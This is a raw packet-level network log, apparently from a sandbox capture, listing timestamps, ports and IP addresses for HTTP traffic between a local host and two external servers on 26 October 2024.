Oct 26, 2024 05:54:56.849293947 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.849304914 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.849327087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.849363089 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.849369049 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.849392891 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.849426985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.849431992 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.849462032 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.849492073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.849522114 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.849524975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.849565029 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.891818047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.891861916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.891899109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.891937017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.892057896 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.934372902 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.934521914 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.934554100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.934593916 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.934938908 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.935000896 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.935014009 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.935030937 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.935051918 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.935065985 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.935070038 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.935108900 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.974248886 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.976201057 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.976306915 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.976361990 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.976392984 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.976428032 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.976461887 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.976476908 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.976512909 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.976526976 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.976548910 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.976562977 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.976578951 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.976586103 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.976613045 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.976618052 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.976648092 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.976650953 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.976685047 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.976700068 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.976735115 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.976763010 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.976768970 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.976789951 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.976804018 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.976809025 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.976833105 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.976845026 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.976869106 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.976886988 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.976926088 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.976953030 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.976969957 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.977004051 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.977035999 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.977071047 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.977138996 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.977185965 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.978427887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.978471994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.978528976 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.978532076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.978564024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.978601933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.978602886 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.978641987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.978672981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.978698969 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.010426044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.010490894 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.010497093 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.010535955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.010569096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.010596991 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.010607004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.010636091 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.010657072 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.010688066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.010725021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.010726929 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.010775089 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.010792971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.010808945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.010828018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.010844946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.010863066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.010879040 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.010898113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.010961056 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.052244902 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.053037882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.053083897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.053122044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.053123951 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.095776081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.095818043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.095828056 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.095856905 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.095900059 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.139727116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.139767885 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.139862061 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.139869928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.139900923 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.139935970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.139949083 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.139971018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.140013933 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.171291113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.171463013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.171495914 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.171510935 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.171550989 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.171595097 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.171603918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.171637058 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.171670914 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.171674967 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.171705008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.171740055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.171750069 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.171773911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.171811104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.171813965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.171912909 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.171946049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.171967030 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.171982050 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.172019958 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.172051907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.172112942 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.172141075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.172152996 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.214330912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.214355946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.214374065 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.214379072 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.214406967 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.256896019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.256932974 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.256994009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.257026911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.257029057 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.257081985 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.301045895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.301083088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.301119089 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.301153898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.301165104 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.301188946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.301204920 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.325202942 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:57.325241089 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:57.330751896 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:57.330791950 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:57.330904961 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:57.330935001 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:57.330967903 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:57.332360983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.332392931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.332410097 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.332444906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.332479954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.332484007 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.332534075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.332567930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.332586050 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.332606077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.332650900 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.332838058 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.332875013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.332911968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.332918882 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.332941055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.332979918 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.333153963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.333206892 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.333240986 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.333256960 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.333276033 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.333309889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.333321095 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.375328064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.375374079 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.375472069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.375485897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.375534058 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.418216944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.418252945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.418287992 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.418296099 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.458514929 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.462332964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.462376118 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.462413073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.462419033 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.462449074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.462497950 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.462523937 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.462558985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.462599039 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.493875980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.493907928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.493961096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.493972063 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.494013071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.494045973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.494056940 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.494079113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.494113922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.494123936 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.494152069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.494180918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.494191885 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.494332075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.494381905 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.494384050 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.494416952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.494451046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.494457960 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.494483948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.494518042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.494524002 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.494787931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.494838953 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.536572933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.536622047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.536634922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.536698103 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.581928015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.581959009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.581996918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.582019091 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.582029104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.582055092 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.623775005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.623810053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.623842955 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.623862028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.623893976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.623903036 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.623929024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.623979092 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.655113935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.655213118 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.655263901 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.655267000 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.655297995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.655349970 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.655375004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.655410051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.655442953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.655447006 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.655559063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.655591965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.655601025 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.655628920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.655658960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.655672073 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.655692101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.655769110 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.655791044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.655823946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.655857086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.655865908 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.656064987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.656286955 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.697906017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.698020935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.698050976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.698072910 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.739746094 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.744256020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.744288921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.744303942 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.744333982 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.784919024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.784975052 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.784975052 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.785008907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.785043955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.785048008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.785077095 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.785120010 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.816472054 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.816577911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.816607952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.816620111 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.816658020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.816692114 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.816699028 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.816744089 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.816780090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.816786051 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.816813946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.816847086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.816858053 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.816884041 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.816931963 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.816979885 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.817044973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.817079067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.817089081 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.817189932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.817239046 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.817243099 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.817275047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.817333937 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.859149933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.859419107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.859496117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.859522104 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.905711889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.905765057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.905807018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.905860901 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.905891895 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.946198940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.946268082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.946295023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.946310997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.946317911 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.946326017 CEST	80	49742	185.215.113.16	192.168.2.4
